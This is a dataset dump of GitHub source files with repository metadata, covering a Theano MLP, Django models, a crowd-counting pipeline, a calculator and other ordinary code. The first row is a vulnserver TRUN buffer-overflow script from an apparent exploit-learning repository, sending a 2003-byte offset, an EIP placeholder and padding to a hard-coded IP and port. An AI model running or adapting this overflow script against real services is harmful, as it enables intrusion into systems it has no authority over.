blob_id stringlengths 40 40 | directory_id stringlengths 40 40 | path stringlengths 2 616 | content_id stringlengths 40 40 | detected_licenses listlengths 0 69 | license_type stringclasses 2
values | repo_name stringlengths 5 118 | snapshot_id stringlengths 40 40 | revision_id stringlengths 40 40 | branch_name stringlengths 4 63 | visit_date timestamp[us] | revision_date timestamp[us] | committer_date timestamp[us] | github_id int64 2.91k 686M ⌀ | star_events_count int64 0 209k | fork_events_count int64 0 110k | gha_license_id stringclasses 23
values | gha_event_created_at timestamp[us] | gha_created_at timestamp[us] | gha_language stringclasses 213
values | src_encoding stringclasses 30
values | language stringclasses 1
value | is_vendor bool 2
classes | is_generated bool 2
classes | length_bytes int64 2 10.3M | extension stringclasses 246
values | content stringlengths 2 10.3M | authors listlengths 1 1 | author_id stringlengths 0 212 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
f94c16d5dafa51a22ec02299b323a9e837bbb34f | 754e748200c84138b023f6d2213ae8046df22803 | /learn/vlunser/space.py | 832696601f58ed2def6c6effa911cb5dd3e782be | [] | no_license | 0xarun/bufferoverflow | e344d44742dbb37b06079ed64a0ec58f120f09bc | ce2de29786a686163f3e42d91376499b61d3f0f3 | refs/heads/main | 2023-02-24T07:12:01.125789 | 2021-01-31T07:52:48 | 2021-01-31T07:52:48 | 334,601,720 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 309 | py | import time, struct, sys
import socket
server = "192.168.225.105"
port = 9999
OFFSET = "A" * 2003
EIP = "BBBB"
SAMPLE = "CCCCC"
space = "D"*1000
req = "TRUN /.:/" + OFFSET + EIP + SAMPLE + space
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((server, port))
print(s.recv(1024))
s.send(req)
| [
"noreply@github.com"
] | 0xarun.noreply@github.com |
d5b52e5385b25b282446c84c7f35e12d75acb573 | 327de59d735c9654ef17b3d13a4b63a68d2598c3 | /model.py | fbe3b5f354b251ea1aabf5c8161e11072e029b25 | [
"Apache-2.0"
] | permissive | jimmycallin/whatelles | 604ca313be3a98560808569373d33817398be569 | e8d74888655a6183b2e04b93e421c0f4939f5dbe | refs/heads/master | 2021-01-18T04:38:08.403436 | 2015-09-10T08:47:30 | 2015-09-10T08:47:30 | 33,443,959 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 24,467 | py | import theano
import theano.tensor as T
import numpy as np
class MLP(object):
"""Multi-Layer Perceptron Class
A multilayer perceptron is a feedforward artificial neural network model
that has one layer or more of hidden units and nonlinear activations.
Intermediate layers usually have as activation ... | [
"jimmy.callin@gmail.com"
] | jimmy.callin@gmail.com |
1e273a85868f0f6b461bfd41551779c6a908e717 | eab72229ae04d1160704cbf90a08a582802a739c | /pipeline.py | 951739aed5ac7ad0818e105dbff2397a48108344 | [
"MIT"
] | permissive | megatazm/Crowd-Counting | 444d39b0e3d6e98995f53badf4c073829038b6b7 | 647a055baccee2c3b6b780f38930e2ffd14d1664 | refs/heads/master | 2022-04-01T04:49:16.409675 | 2020-01-31T21:24:02 | 2020-01-31T21:24:02 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 518 | py | import os
# Crop area
#os.system("python3 crop.py")
## APPROACH 1 MCNN
os.system("python3 put_zero_image.py")
os.system("python3 test.py")
os.system("python3 put_zero_den.py")
os.system("python3 find_people.py")
os.system("python3 position.py")
## APPROACH 2 - RNN
#os.system("python3 tiny_face_eval.py --weig... | [
"gpsunicamp016@gmail.com"
] | gpsunicamp016@gmail.com |
0d0b792b12ae89e4345a54d9f5615577cc7c649f | 9c09818cd7eabfe56c4744ab879f9e460f49add0 | /gui/adapt.py | 2210583aac5ee7946f633f9123aabb12def3c1b5 | [] | no_license | shamjithkv/gdb-gui | 5498d2041829925917498cb34c22cec1e68deb73 | b21838a4ea1a68f9d14511f53f4c5c1196478a0c | refs/heads/master | 2020-07-27T22:48:30.282103 | 2017-08-28T16:52:57 | 2017-09-06T12:29:00 | 209,237,135 | 1 | 0 | null | 2019-09-18T06:42:57 | 2019-09-18T06:42:57 | null | UTF-8 | Python | false | false | 2,012 | py | # Copyright (C) 2015, 2016 Tom Tromey <tom@tromey.com>
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 3 of the License, or
# (at your option) any later version.
#
# This program... | [
"tom@tromey.com"
] | tom@tromey.com |
7239911c21420bb41edadd6bdde52c22a6ffe90f | 30eeca4d18bd863260882272cf391b1531dcc871 | /Limits/test/collectHistos.py | 5d7c3438171cde65afbc7ca6b8ae0c9b6bdadbf6 | [] | no_license | decosa/Stat | 3b1a5dabf563366b8117fbc56ceef338b719ad6e | 10ba54677f401e574ed803bf739f714c5fd62338 | refs/heads/master | 2020-04-28T16:53:55.142130 | 2019-11-26T14:58:29 | 2019-11-26T14:58:29 | 175,427,511 | 0 | 6 | null | null | null | null | UTF-8 | Python | false | false | 5,232 | py |
import ROOT
import os, sys
import optparse
import copy
from Stat.Limits.settings import processes, histos
usage = 'usage: %prog -p histosPath -o outputFile'
parser = optparse.OptionParser(usage)
parser.add_option('-i', '--input', dest='path', type='string', default= "./histos2017v6/",help='Where can I find input hi... | [
"decosa@t3ui03.psi.ch"
] | decosa@t3ui03.psi.ch |
1dce9e2b6a0d7482d47bab26f855b928218015ad | ed7f129761f6ef2feaa3808c52bb306522911950 | /app/main/__init__.py | a7fafd9bbdc8a3505fd7bca1b7159365735f55a0 | [] | no_license | dpvitt/notes | de7f55ad782a727cbd684b6b79ca2a4e38cf642d | 3d7171fdc401a5c38e757b27e2dfee2b857e8939 | refs/heads/master | 2020-12-25T11:15:29.331707 | 2016-07-02T21:54:05 | 2016-07-02T21:54:05 | 61,044,112 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 105 | py | from flask import Blueprint
main_route = Blueprint('main_route', __name__)
from . import views, errors
| [
"daniel@danielpavitt.com"
] | daniel@danielpavitt.com |
4a8ada6d088f1323d8cca6167d34a3532ee51e6b | be272ddb3de512a7d7f4652ebf94b27052a3e211 | /code/amalgamtion_with_batch_label.py | b8bcd5d4e2bc9975c4f8627b7c1a103c81a390a9 | [] | no_license | ouc-nlp/KABI | d3ba7dd21a008be36e4c46ceeb7f3c8da4da6523 | f5720a5ef5c61fb5f46d97c0b15de469ef34a564 | refs/heads/master | 2023-02-22T18:42:28.521913 | 2021-01-22T10:17:25 | 2021-01-22T10:17:25 | 331,868,769 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,922 | py | import os
import torch
import torch.cuda as tc
from torchvision import transforms
from utils.MyImageFolder import ImagesListFileFolder
from networks.resnet18_for_cifer100 import resnet18
import torch.nn as nn
from utils.AverageMeter import AverageMeter
from networks.rps_net_mlp import RPS_net_mlp
from torchvision impor... | [
"xwh@ouc.edu.cn"
] | xwh@ouc.edu.cn |
934e6966fbd17ae8a420204911909a52151bbaf6 | 8d5f49fa1fda8ffc473e7f5a62786c77838a5820 | /website/load_tests/drawquest/test_scripts/utils.py | e305eef730b14c15bd7911f0cf1ade88885204ff | [
"BSD-3-Clause"
] | permissive | MichaelBechHansen/drawquest-web | dfc6f5d9541860a5df23db678e82564a230bd42e | 8d8f9149b6efeb65202809a5f8916386f58a1b3b | refs/heads/master | 2021-01-14T10:30:10.861222 | 2015-11-10T03:13:42 | 2015-11-10T03:13:42 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,724 | py | import json
import uuid
import requests
PASSWORD = 'testpassword'
#QUEST_ID = 658
#QUEST_ID = 926 #staging smilie
QUEST_ID = 7004
PLAYBACK_DATA = ''
TEST_USERNAME = 'test_account__'
TEST_PASSWORD = 'testaccount'
class ApiError(Exception):
pass
class HttpError(Exception):
pass
class ApiConsumer(object)... | [
"alex.ehlke@gmail.com"
] | alex.ehlke@gmail.com |
e80bbd400c9eb77464d747268c9691a9848a9705 | af955fdd32cf9f6cb74b4f58cada1683063ccb59 | /hal_commands.py | b1bd49708ffeff2c0695e4b16f66699c15c26a9a | [] | no_license | Pepedou/HAL-9000 | b2ec753cf73458c13fb95595221e535a57f27e98 | 54c742bc7212a0f6756069754c9863f6a4c54d67 | refs/heads/master | 2020-12-31T07:34:16.522196 | 2017-03-29T04:09:08 | 2017-03-29T04:09:08 | 86,535,698 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,115 | py | __author__ = 'José Luis Valencia Herrera'
import os
import plivo_text_to_speech
import utils
class HalCommandTypes:
COFFEE_COMMAND = "coffee"
class HalCommand:
def __init__(self):
self.raw_request = ""
self.requesting_user = ""
self.command_arguments = []
def execute(self):
... | [
"pepedou@gmail.com"
] | pepedou@gmail.com |
40d86f8b94472be347d9dfd40e701d0c50a4370d | ac85e1ba9b5cf9e72698705560be1e9470a13c48 | /test_formater.py | ae4b33023f1dffd058513074b53a8f2068e78b84 | [] | no_license | FernandaHinojosa/testing | 79c7a3bae92a09a383acee2c877b5dd1aa206671 | 7f43eaf47591a80f16749041524f61d624ac0975 | refs/heads/master | 2021-07-24T05:40:47.254881 | 2017-11-06T14:16:29 | 2017-11-06T14:16:29 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,200 | py | from unittest import TestCase
from main import Formater
import sys
sys.tracebacklimit = 0
class TestFormater(TestCase):
def setUp(self):
print(self._testMethodDoc)
def tearDown(self):
pass
def test_clean_integers(self):
"""-- Test Clean Integers"""
msg = "The correct nume... | [
"red2000ace@gmail.com"
] | red2000ace@gmail.com |
566d49bca2e69081ec3642a0f489a87b16e2ca06 | 3da85bca3dcedda942a7143393f84dd0132620ee | /vip52/models.py | 3d311f0ff15d2113a5e8ffd26c939e8f47184b0e | [] | no_license | afsmythe/vip_feed_builder | ff9320b72de76f6b73b6fc6e62ab283ce629fc67 | ee68a717284b72437435315c9a10510ab59b457e | refs/heads/main | 2023-07-14T00:04:29.672211 | 2021-08-18T22:07:54 | 2021-08-18T22:07:54 | 397,379,596 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 32,265 | py | from django.core.exceptions import ObjectDoesNotExist
from django.db import models
from django.forms import model_to_dict, fields_for_model
from lxml import etree
from lxml.etree import Element
import pprint
def xml_element(model):
sequence = fields_for_model(model, exclude = ['id']).keys()
dict = model_to_di... | [
"franklin@democracy.works"
] | franklin@democracy.works |
5dbd16bad92c13444eb77d53b650fba51d099460 | 7f8cebd9315129bcdb7ef220dc449cda26a19ce4 | /models/aetanh.py | bcff65d94ee5b2f960314125e4beb4f15db6e754 | [] | no_license | KaiqianZhang/dpcca_v8 | 75477b1768905b6c41838c8da9ff77fba13b5a45 | 1b65fc0c3ec6b182907ba070e859c1d92fc98942 | refs/heads/master | 2020-08-30T09:32:58.485684 | 2019-11-11T17:34:55 | 2019-11-11T17:34:55 | 218,334,012 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,639 | py | """=============================================================================
Autoencoder.
============================================================================="""
import numpy as np
from torch import nn
# ------------------------------------------------------------------------------
class AETanH(nn.Mod... | [
"ggundersen@gmail.com"
] | ggundersen@gmail.com |
5824f026706f22fed9333ce3b0f3cdc2674fb5cf | afb7d4d6013b6a9022d707d5835a3dd578214b2e | /Bite_172.py | d38f7db655c51e87afd6b54e249df6347f9a2efa | [] | no_license | JB0925/Bites | 86f0bd49d8b53376257c14df280ae0a9643139a2 | f884ce4ffd7ce39afcea5b86a80cec14c607a4f0 | refs/heads/master | 2023-03-29T21:48:42.849729 | 2021-03-29T01:37:48 | 2021-03-29T01:37:48 | 316,419,350 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 375 | py | from functools import partial
# create 2 partials:
# - 'rounder_int' rounds to int (0 places)
# - 'rounder_detailed' rounds to 4 places
rounder_int = 0
rounder_detailed = 0
def round_to_int(num, places):
return round(num, places)
rounder_int = partial(round_to_int, places=0)
rounder_detailed = partial(round_... | [
"jbrink0925@gmail.com"
] | jbrink0925@gmail.com |
32c853e551c807d8e0690e5eef0d6d8be54c3e94 | da6bf15899bff60785b4659277a94c043c669f8f | /morse.py | 198d3b555f073e1525d3fc5bef7806a92a91b463 | [] | no_license | sandraonne/Python2 | 97aabe49b16043e3420dda1f49a18680b7268b01 | 7a07a02282afa1bb14390edf9082ee7da7200c6e | refs/heads/master | 2021-01-24T00:33:29.414648 | 2018-02-24T19:02:40 | 2018-02-24T19:02:40 | 122,771,107 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,279 | py |
# Koosta programm, mis programmi käivitamisel tervitab
# kasutajat nii tavakeeles kui morse koodina, lubab
# seejärel kasutajal sisestada sõnu ning teisendab need
# sümbolhaaval morsetähestikku (lisades iga sümboli järele
# tühiku). Sõnastik ei pruugi sisaldada kõikvõimalikke
# märke, seega tuleb iga sümboli puhul kon... | [
"sandra.onne@khk.ee"
] | sandra.onne@khk.ee |
daaced6e4d0072db31cb545558da38494a427fbc | 93d995cd40ff724570d904956564f5be00f2fbb7 | /class_code/Tuesday/singly_linked_list.py | cd80d4481a1ca27165765fbf02938b47e380aa89 | [] | no_license | HKang42/Data-Structures | fe37f9b3388bb65c91e44617eb57c8e5ecea21be | 0df5d658a9b752ba7e113ec60a7666739066eda1 | refs/heads/master | 2022-11-08T19:25:31.359372 | 2020-06-12T06:57:44 | 2020-06-12T06:57:44 | 271,117,643 | 0 | 0 | null | 2020-06-09T21:54:26 | 2020-06-09T21:54:26 | null | UTF-8 | Python | false | false | 5,068 | py | class Node:
def __init__(self, value, next=None):
self.value = value
self.next_node = next
def get_value(self):
# returns the node's data
return self.value
def get_next(self):
# returns the thing pointed at by this node's `next` reference
return self.next_... | [
"h.kang.q@gmail.com"
] | h.kang.q@gmail.com |
12d8dc00bbdec801fde535c2fb1573d4d8be79cc | d8d43bfb5ac50e88bf26ef59c9b3881b3d9686c6 | /codecamp_project/campsessions/migrations/0004_auto__add_time__chg_field_session_time__add_index_session_time.py | b58f51a27c6f0b4ba8824297d6a03433b78bf199 | [] | no_license | harmstyler/codecamp_project | 929e48feae87c423c2670a46cf952bfb86117f15 | 8f367737d67b739fb1b11d9d214fbd910ccc5dfa | refs/heads/master | 2021-01-19T13:50:39.470072 | 2013-08-04T20:46:36 | 2013-08-04T20:46:36 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,108 | py | # -*- coding: utf-8 -*-
import datetime
from south.db import db
from south.v2 import SchemaMigration
from django.db import models
class Migration(SchemaMigration):
def forwards(self, orm):
# Adding model 'Time'
db.create_table(u'campsessions_time', (
(u'id', self.gf('django.db.models.... | [
"tyler.harms@gmail.com"
] | tyler.harms@gmail.com |
c48fcc8440c694ee49e258c7188c7d92ea4424b6 | b367dfbc07fdfcc55d1d43839646c8b91eb18b2f | /simple calculater - Copy.py | f7f823e9521620e6c148401980e45404c32040c3 | [] | no_license | manpreetSingh1308/Python-programs | cd5c6baf7fd2662c0cad68a89dc9990e91ca0c79 | fb012c41fcbe011533eaa51886d986272376e9f6 | refs/heads/main | 2023-08-19T23:45:52.080045 | 2021-10-30T20:07:24 | 2021-10-30T20:07:24 | 422,979,639 | 0 | 0 | null | 2021-10-30T20:04:49 | 2021-10-30T20:04:49 | null | UTF-8 | Python | false | false | 1,400 | py | # Program make a simple calculator
# This function adds two numbers
def add(x, y):
return x + y
# This function subtracts two numbers
def subtract(x, y):
return x - y
# This function multiplies two numbers
def multiply(x, y):
return x * y
# This function divides two numbers
def divide(x, ... | [
"noreply@github.com"
] | manpreetSingh1308.noreply@github.com |
617d16ab2f1dfad658507e965879e41e4d3c041c | 7aefd6394563a7418fec84f87a7b22ba2e1b00e9 | /build/lib/hetsar/utils.py | 48508f90b21c245e5019dd0c3c3c9d7eb6c04619 | [
"BSD-3-Clause"
] | permissive | ida-j/hetsar | 817d8f779eaefe40a34824945b743f7596049460 | 198b18c9f27d6e8be94f688eb2bd404a50ac2824 | refs/heads/main | 2023-06-07T23:10:44.782865 | 2021-06-21T16:15:01 | 2021-06-21T16:15:01 | 332,352,417 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 7,972 | py | import numpy as np
import pandas as pd
def fn_significance_stars(zscore):
if np.abs(zscore)>=2.58:
return '***'
elif np.abs(zscore)<2.58 and np.abs(zscore)>=1.96:
return '**'
elif np.abs(zscore)<1.96 and np.abs(zscore)>=1.65:
return '*'
else:
return ''
def fn_add_lags(d... | [
"ida.b.johnsson@gmail.com"
] | ida.b.johnsson@gmail.com |
1471e72b37bcd808725dc8eefdf97b634cc957dc | 34bfac68474bea25a02adfb255ec817a080207ad | /code/test.py | b52cbd6071a9f998cf258ef7dad6aaf9808f137f | [
"Unlicense"
] | permissive | telavivmakers/geek_code | 574d3aec793ba1688b53b3c4b4ee8ed7c1ee20bc | a4fce2dc0d569c72bfa820c7c7a8d95097818ca2 | refs/heads/master | 2023-02-23T04:41:38.580022 | 2023-02-18T18:33:12 | 2023-02-18T18:33:12 | 216,117,542 | 29 | 4 | Unlicense | 2023-02-18T18:33:13 | 2019-10-18T22:44:48 | JavaScript | UTF-8 | Python | false | false | 111 | py | import geek_decode
meaning,remaining = geek_decode.parse_geekcode(' GS blabla GDS')
print(meaning, remaining)
| [
"noreply@github.com"
] | telavivmakers.noreply@github.com |
a0d18993b6906afca87c3392a769e58c0dd83185 | 24f9f3ce945c84d6afe32870e320a1d5c9d896ac | /Week2/Code/dictionary.py | 605830369ca42ea1462fd5787dd45982740e75ba | [] | no_license | acse-yq3018/CMEECourseWork | 64c529db506a65e43cfc656726d66769b60742cd | 8f2ae373f21f39d72780e64d74f27db1ae3c9c43 | refs/heads/master | 2021-10-22T11:33:40.573899 | 2019-03-10T11:50:16 | 2019-03-10T11:50:16 | 151,982,957 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 1,245 | py | #!/usr/bin/env python3
"""Use dictionary to classify taxa"""
__appname__ = 'dictionary.py'
__author__ = 'Yuxin Qin (yq3018@imperial.ac.uk)'
__version__ = '0.0.1'
##################################################
taxa = [ ('Myotis lucifugus','Chiroptera'),
('Gerbillus henleyi','Rodentia',),
('Pero... | [
"yq3018@imperial.ac.uk"
] | yq3018@imperial.ac.uk |
85fc832f7949d2a610125186d9650db344d63852 | 2743b52bf0fbc7ffb3d90298c6a47bc95c097baf | /py2/fractal_tree_v1.1.py | a26eceed27b4af2709fc3e565a2214920f377887 | [] | no_license | ArvinShaffer/anaconda | 6d1c4e41dae1436e8dc3df607322d25bb0f27221 | 8ab61c73493a1986253d0c77818beede5bb3be0f | refs/heads/master | 2023-02-17T19:17:57.351454 | 2023-02-15T11:53:58 | 2023-02-15T11:53:58 | 119,800,579 | 2 | 0 | null | 2023-02-15T11:53:59 | 2018-02-01T07:36:20 | Python | UTF-8 | Python | false | false | 800 | py | """
Author:Arvin Shaffer
Function:Draw a five-pointed star!
Version:1.1
Date:02/15/2018
1.1 New Function:Use iteration function draw Fractal tree
"""
import turtle
def draw_recursive_Fractal(size):
"""
Use iteration to draw a Fractal tree
:param size:
:return:
"""
if size > ... | [
"jianzhimo@sina.cn"
] | jianzhimo@sina.cn |
ba655956928273bdb83c374d24470b7db1bd2652 | daa05742d81f4bb5b0385682f89eed89a97f08d2 | /vproj/library/admin.py | 1fff9e395bcd052b07fd45aa88308ae93372b2d1 | [] | no_license | meetakshiaggarwal/lib-proj-vib | b923083a973326d3ab0d56007b4bde77577bb3a0 | 505f6a6471b61365e137aed003a3938c971cca29 | refs/heads/master | 2021-01-10T08:08:12.417942 | 2015-11-25T16:03:33 | 2015-11-25T16:03:33 | 46,871,968 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,168 | py | from django.contrib import admin
# Register your models here.
from .forms import CategoryForm
from .forms import AuthorForm
from .forms import PublisherForm
from .forms import BookForm
from .forms import HasCategoryForm
from .forms import CompiledByForm
from .forms import MemberForm
from .forms import BookCopyForm
fr... | [
"meetakshi17@gmail.com"
] | meetakshi17@gmail.com |
111111693155ec12ab89d1259913c5984ac0ba31 | 42fe73b2ef271565c60f633af1be8344d7966350 | /JD_spider/fit.py | 652589ab787aeac9e577d5902c8720004bb995b9 | [] | no_license | ElecEyeCk/EEC | ce475f988d2c7a0391d89749a301760664c4c41f | 8d3a6734abf953a40b9792f8420b5799e649e7b4 | refs/heads/master | 2023-08-05T23:41:09.681636 | 2021-09-27T04:53:20 | 2021-09-27T04:53:20 | 382,285,623 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,012 | py | import pandas as pd
import csv
file_path = "C:/Users/王羽钧/Desktop/大三下/软件工程课设/数据集/7-6/JD_Phone6.csv"
csv_file = pd.read_csv(file_path)
commit_list = csv_file['commit'].copy()
name_list = csv_file['name'].copy()
adr_list = csv_file['adr'].copy()
price_list = csv_file['price'].copy()
shop_list = csv_file['shop'].copy()
i... | [
"44989275+Alex3der@users.noreply.github.com"
] | 44989275+Alex3der@users.noreply.github.com |
3c2b72b64a2ab17b8dd5de8c68068bafa6824716 | c8c021af70365b9079ef637bbd560d3dd3d10e8c | /.venv/bin/pip3 | bfa2475ae3903112cbe673bbf474f340484f9751 | [] | no_license | pkunwu/whattoeat | 064d79f3ead360974e9cb8e7e117d6eeaab07e30 | 1991d03bea1c883e863a3a0839ffc77d552bebba | refs/heads/master | 2023-06-21T22:16:12.260242 | 2021-07-22T02:15:05 | 2021-07-22T02:15:05 | 355,035,234 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 270 | #!/home/chenliang/Documents/Programming/WhatToEat/.venv/bin/python3
# -*- coding: utf-8 -*-
import re
import sys
from pip._internal.cli.main import main
if __name__ == '__main__':
sys.argv[0] = re.sub(r'(-script\.pyw|\.exe)?$', '', sys.argv[0])
sys.exit(main())
| [
"pkunwu@gmail.com"
] | pkunwu@gmail.com | |
d0f8333b966b57a0edb2b0537c142c13a7cbbac7 | cd98f3e273da6b8117b9c3069eff5321939055fc | /Python/ErrorsAndExceptions/Exceptions/solution.py | 8f7e165d2eb17cdc3453d5f3f803b13437013a4d | [] | no_license | dev-11/HackerRankSolutions | 86a3d6ad4f014b4022348c9bd3a573c729805f6a | f2c33dc359a55bae4d7f8921a46d4261f9dfa515 | refs/heads/master | 2021-06-24T17:30:59.834850 | 2019-07-25T19:23:52 | 2019-07-25T19:23:52 | 114,654,051 | 2 | 1 | null | null | null | null | UTF-8 | Python | false | false | 157 | py | for i in range(int(input())):
try:
a,b = map(int,input().split())
print(a//b)
except Exception as e:
print("Error Code:",e)
| [
"giotto007@gmail.com"
] | giotto007@gmail.com |
6bb7901debec9f9ddd547ba4fb9d52462ca74c58 | fa45fe7eaba7ef7c27ecf95db7c460ca189ce0d4 | /everydays/BookBeingRead/python高级编程/day12.1.py | 0d2033516213b11dfa91ea44119d6e37e17ceb4c | [] | no_license | jake20001/Hello | be1a2bb5331f2ad4c1d8f30c6a9a530aff79e605 | 08217871bb17152eb09e68cd154937ebe5d59d2c | refs/heads/master | 2021-07-10T09:48:15.883716 | 2021-04-23T14:49:03 | 2021-04-23T14:49:03 | 56,282,358 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 774 | py | # -*- coding:utf-8 -*-
# -------------------------------
# ProjectName : autoDemo
# Author : zhangjk
# CreateTime : 2020/12/18 11:05
# FileName : day12.1
# Description :
# --------------------------------
import os
class DublinCoreAdapter(object):
def __init__(self,filename):
self._filename = filename
... | [
"jianke.zhang@beantechs.com"
] | jianke.zhang@beantechs.com |
0d47dd61b2368620cb8f0061a923c73cc7be140f | 5b0c9ebe1576fdf6fcc1abf8d5c781fdc0aab591 | /test3.py | 82be98b389109e219d53f572d236b1c6bea018b0 | [] | no_license | Alex-kaer/paxos-edu | de7dc072cc159e175d6facbe0cbffb553d6606d6 | 4036adc76ff476b6d86605ba177793f2c668defa | refs/heads/master | 2020-03-31T12:02:50.210231 | 2018-08-23T21:11:32 | 2018-08-23T21:16:26 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 238 | py | from paxos import run_cli
hosts_ports = (
('127.0.0.1', '8881'),
('127.0.0.1', '8882'),
('127.0.0.1', '8883'),
('127.0.0.1', '8884'),
('127.0.0.1', '8885'),
)
run_cli(*hosts_ports[2], hosts_ports, hosts_ports[2][1])
| [
"jimzuolin@gmail.com"
] | jimzuolin@gmail.com |
4422f7d5921e314273bf3e365ade27b53d14f1d0 | 053c7e3649fa0e7b9fee1d575227f3df3dc9514e | /venv/lib/python3.7/rlcompleter.py | 7d314a0e11ceea9c8379850d542c51282747dc59 | [] | no_license | brady19990517/bottletest | 2908d489929f50224047893809fd56c5484f14f0 | 038cd7dfa1bed30a0a92369e735ce6427daec690 | refs/heads/master | 2022-06-13T17:05:59.187688 | 2019-07-29T08:13:26 | 2019-07-29T08:13:26 | 199,409,471 | 0 | 0 | null | 2022-06-03T22:45:16 | 2019-07-29T08:17:52 | Python | UTF-8 | Python | false | false | 51 | py | /Users/bpeng/anaconda3/lib/python3.7/rlcompleter.py | [
"dearbrady19990517@gmail.com"
] | dearbrady19990517@gmail.com |
0825d679a4a233d1b744c5a713dd44acfafe47e4 | 4e8b2390820525051aaca421e657b4bbb7c86eb2 | /querysys/url.py | 26479b9e915c2788199e20bb841a6ac135cfa39f | [] | no_license | HandsomeCodeMan123/StudentManage | 837a461ee08db16d59b7117d4a4ba7d75b5f2fb9 | 7560aaf97e3442d1e682d9b7e64b162856552321 | refs/heads/master | 2023-04-01T18:44:43.839067 | 2021-04-01T13:53:03 | 2021-04-01T13:53:03 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 157 | py | from django.urls import path
from querysys.views import index,addstudent
urlpatterns = [
path('index/', index),
path('addstudent/', addstudent),
]
| [
"291882490@qq.com"
] | 291882490@qq.com |
12036ced2dc9a7de9f3d4d79fc1ad4e7fbcbe6cd | 8fef8af953e8dafde78c671e8ee9813d08ab2d60 | /trees/BST/LowestCommAncestor.py | f1e104c3496e69731c8a6af520b879abc8aa4736 | [
"MIT"
] | permissive | htrahddis-hub/DSA-Together-HacktoberFest | 037b009c744863070e0f1b61167c18f9101335f2 | a5c6165c449c5b5b91e56815f2a38d5fd23bf354 | refs/heads/main | 2023-08-23T18:52:55.654386 | 2021-10-17T15:45:14 | 2021-10-17T15:45:14 | 418,180,825 | 1 | 0 | MIT | 2021-10-17T15:56:21 | 2021-10-17T15:56:21 | null | UTF-8 | Python | false | false | 2,808 | py | # Link to the problem :https://practice.geeksforgeeks.org/problems/lowest-common-ancestor-in-a-bst/1#
#Function to find the lowest common ancestor in a BST.
# We are looking for a node which is closest to both the nodes
def LCA(root, n1, n2):
#code here.
while(root):
# If the root is greater than ... | [
"dsrao0712@gmail.com"
] | dsrao0712@gmail.com |
7193b1ee65106633518983747b93915b9493a142 | f706a4fe6663e1e51f2393f69927fec7c2275b10 | /src/newsletter/views.py | 7225378ed79727bd2e6643723fa84cdae8fbd671 | [] | no_license | Dipenjethva19/HappyFace_MVP_Newsletter_App | 6106175b97db346246c937ae84f66d79df33c7d7 | 61d22ac9ce6caccb9d58d6ded93d134b0edfeb1a | refs/heads/master | 2022-11-09T01:14:29.746277 | 2017-06-07T20:33:14 | 2017-06-07T20:33:14 | 93,466,717 | 0 | 1 | null | 2022-10-27T03:52:30 | 2017-06-06T02:24:37 | Python | UTF-8 | Python | false | false | 2,598 | py | from django.conf import settings
from django.shortcuts import render
from .forms import ContactForm, SignUpForm
from django.core.mail import send_mail
from .models import SignUp
# Create your views here.
def home(request):
title = 'Sign Up Now'
# if request.user.is_authenticated:
# title = 'Welcome To... | [
"dipenjethva19@gmail.com"
] | dipenjethva19@gmail.com |
ce2059c2fc6ac68411c1e74a87f22ee1b3a945ba | 330491e45677af7dc41525336296b3f322a146e6 | /data_collection/svcca_test_scan.py | f34105ef9c989289953072f079e04d3f3a04d7ea | [] | no_license | arnupretorius/betterInitAtLimitedDepth_2019 | c8eff9ad6340a0b8f8f30897684cc31158189c9d | a3488aba6f0003892f72e61f659178a4758061b4 | refs/heads/master | 2020-07-03T03:53:23.904397 | 2019-08-11T14:44:36 | 2019-08-11T14:44:36 | 201,775,497 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,024 | py | import sys, os
import numpy as np
sys.path.append(os.path.join(os.path.dirname(os.path.abspath(__file__)), '..'))
from src.utils import load_model, get_experiment_dicts
TEST_LIST_DIRECTORY = "{}/temp/".format(os.path.dirname(os.path.abspath(__file__)))
TEST_LIST_PATH = "{}/test_list.txt".format(TEST_LIST_DIRECTORY)
... | [
"arnupretorius@gmail.com"
] | arnupretorius@gmail.com |
1eba6ca236ff4f6105330a8c2c4442d3537a21a8 | 00b762e37ecef30ed04698033f719f04be9c5545 | /scripts/test_results/scikit-learn_test_results/conflicts/52_bench_sgd_covertype_actual.py | f88cf076b4bf0da384e6c9ba249ccf1ec8f143b1 | [] | no_license | kenji-nicholson/smerge | 4f9af17e2e516333b041727b77b8330e3255b7c2 | 3da9ebfdee02f9b4c882af1f26fe2e15d037271b | refs/heads/master | 2020-07-22T02:32:03.579003 | 2018-06-08T00:40:53 | 2018-06-08T00:40:53 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 7,491 | py | """
================================
Covertype dataset with dense SGD
================================
Benchmark stochastic gradient descent (SGD), Liblinear, and Naive Bayes, CART
(decision tree), RandomForest and Extra-Trees on the forest covertype dataset of
Blackard, Jock, and Dean [1]. The dataset comprises 581,0... | [
"srhee4@cs.washington.edu"
] | srhee4@cs.washington.edu |
